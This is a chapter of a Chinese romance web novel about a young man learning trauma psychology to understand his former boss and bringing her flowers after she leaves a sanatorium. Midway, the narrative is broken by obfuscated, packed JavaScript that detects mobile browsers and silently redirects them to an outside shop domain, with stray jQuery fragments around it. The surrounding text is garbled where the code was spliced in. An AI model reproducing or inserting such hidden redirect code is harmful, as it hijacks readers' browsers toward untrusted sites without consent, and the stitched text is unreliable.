从疗养院回来的当晚，齐星光在电脑上搜索了“江城市心理疗养院”，跳出来的是官网——介绍、科室、专家团队。他往下拉，看到“创伤后应激障碍专病门诊”，手指停了一秒，点了进去。
然后关掉。打开购物平台，下单三本书：《创伤与复原》《身体从未忘记》《心灵的面具》。确认付款。
那些艰涩的术语和案例描述，像一扇扇沉重的大门，但难不倒一心想弄明白的高材生，江大四年，他啃过更晦涩的论文，熬过夜解过更复杂的难题。为了能真正读懂肖怡，他甚至报了一个线上心理学网课，一点点学习那些与创伤、焦虑相关的知识。“解离”“过度警觉”“闪回”——每个词都像一块拼图，试图拼出肖怡那些他无法理解的瞬间。但拼图永远缺一块，因为他不在场的那三年，是空白。
从那以后，上班时追问“老板什么时候能出院”，下班后钻进心理学课程和书籍里，成了齐星光生活的主旋律。
他看到论坛里有人分享陪伴家人走出抑郁的经历，字里行间是疲惫却不肯放弃的温柔；也看过的偏激言论——“遇到精神病赶紧跑”。可当他闭上眼，脑海里浮现的却是她第一次看到他写的代码时，眼睛亮起来说“好厉害”的模样；是那个醉酒的夜晚，她靠在他肩上，含混不清地说“齐星光，你身上有太阳的味道”。
即使越来越了解回避型、抑郁症的可怕，这几年因她存在而有的美好，也让他无法轻易放弃。
球球忙得脚不沾地，手机除了打电话没干过别的。齐星光走过去，不等张嘴，球球就摆手：“老板还没出院。”
露露也摇头：“具体时间不知道，她有需要会主动联系我们的。”
周二下午，他借着核对清单，状似随意地问露露：“上周送过去那么多甜品……是老板过生日？我看网上资料写她生日在冬天。”
“网上的信息是真的。”露露头也不抬。
“哦。”他顿了顿，“我还以为生日，专门挑了蜡烛放进去。”
露露终于停下手里的活，左右看了看，压低声音说道：“好吧，看你牢靠，告诉你别外传。送甜品不是过生日，是老板的个人原因——她每次感到不安的时候，就会特别想吃甜的。”
齐星光愣住：“那么多……都是她一个人……”
露露叹气，转身去忙。
他站在原地。自从见过幸沐，他认知里的“伤害”就脱离了少年维特式的烦恼。那是更深、更暗、更难以愈合的东西。
傍晚，他刷到肖怡久违的更新——一幅新画。
夜间的湖。水面平静如墨色丝绸，倒映零星灯火，像散落的碎钻，温柔而静谧。水下却是另一番天地：深蓝与墨黑交错，荧光水草飘摇，透明小虾穿行，戴夜视镜的彩色小鱼游弋其间，螃蟹笨拙地试穿上亮晶晶的小皮鞋，可爱得有些突兀。湖水最深处，沙地上趴着一条巨大的黑鱼，额头的皱纹像盘根错节的树根，皮肤斑驳得像古旧的壁画，它静静趴着，没有睁眼，也没有沉睡，只是沉默地存在着，身处永恒的夜色里，不见日出，也不见日落。
齐星光盯着屏幕，呼吸微滞。
他认出那是疗养院的湖水。但肖怡画的不是湖，是她自己——表面的平静之下，是汹涌的暗流；那些可爱的生灵，是她试图赋予恐惧以童话色彩的努力；而那条沉默的黑鱼，是她藏在心底最深处、承载着所有岁月伤痕的自己。
一种奇异的感觉攥住他。这幅画，像一封无法言说的密信，跨越物理距离，轻轻放在他面前。她知道他会看。也知道他看得懂。
————————————————————————————————
周四一早，齐星光就格外开心——露露通知他，肖怡昨天已经出院了，让他送些补给品到她家里。每次能有机会见到肖怡，他都会莫名地雀跃。明明最初是抱着“报仇”的心思靠近她，可到了后来，“报仇”两个字，渐渐成了他想离她世界近一点的借口。
按露露的地址来到超市门口，购物车里塞了两大包东西。
他按露露给的清单，在超市里采购了两大包东西，塞进购物车。跟着导航驶出市区，他瞥见一家小小的花店。推门进去时，风铃轻响。店里坐着一位约莫五十多岁的阿姨，穿着印满向日葵的鲜亮长裙，涂着饱满的砖红色口红，耳朵上挂着夸张的彩色几何耳环。她正低头修剪一捆刚到的尤加利叶，闻声抬头，笑容温暖：“随便看看，需要帮忙推荐吗？”
齐星光站在满室芬芳中，忽然有些无措：“我想……送花给一个人。”
“她是个怎样的人？”阿姨放下剪刀，擦擦手走过来，眼神温和地看着他。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614112|205375||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>齐星光想了想，缓缓说道：“温暖……又清冷。”
阿姨静静看了他两秒，忽然转身走向里间冷藏柜，从一个大水桶里取出一把花——全是紧紧包裹的花苞，茎秆修长，叶片翠绿，看不出是什么品种。
“这个。”她递过来，“很适合你们。”
齐星光对花不甚了解，只认得最简单的玫瑰花，向日葵，小雏菊什么的，但是这个是自己没有见过的，就算是开成花自己都不应见过，更别提还是一个花骨朵。从未听说送女生花朵的时候，是送一把花骨朵。
阿姨看出了他的疑惑，“年轻人，相信我，这个送给他她一定会喜欢的。这花在我这儿醒了一天了，今晚一定会开。”
“那……就要这个。”齐星光半信半疑，
阿姨手脚利落地用泛黄的复古报纸仔细包裹，系上米白色棉质丝带，打了一个灵巧的结。
齐星光开进山路上不久发现了这个花儿的好处，虽然尚未开放，却已经香气四溢，整个车厢里都弥漫着一股甜甜的香气，是那种闻到就会忍不住扬起嘴角的甜。从离职到现在，近两个月的时间里，他无数次在心里盘算，再见到肖怡时，自己会是什么心情，可此刻，心里只剩下满满的忐忑。
他一会儿恨不得立刻抵达，一会儿又故意放慢车速，任由车子顺着山路慢悠悠地行驶。秋日的阳光依旧热烈，透过车窗洒在身上，让他浑身冒出了汗，心跳也变得越来越快。
终于，导航提示目的地在前方。隐在枫树后的院子露出轮廓，木门半掩，透着几分静谧。齐星光停好车，抱起花束和那几大袋物品，深吸一口气，压下心底的忐忑，一步步走向院门。
指尖刚要触到门铃——
“啊！~求你别动了，啊！”
短促的尖叫从院内传来，是肖怡的声音，带着难以掩饰的惊慌。
齐星光来不及思考，一把推开木门冲了进去。石板路中央放着一个盛满水的黄色塑料桶，他冲得太急，一脚正中桶沿。
“哐——哗啦！”
水桶翻倒，冰凉的水花轰然溅起，在午后阳光下炸开耀眼银光，劈头盖脸浇了他一身。
巨大声响中，肖怡猛地转身，瞪大眼睛，只看到漫天水花反射的阳光里，一个熟悉的身影，浑身湿透地站在那里。
“怎么是你？”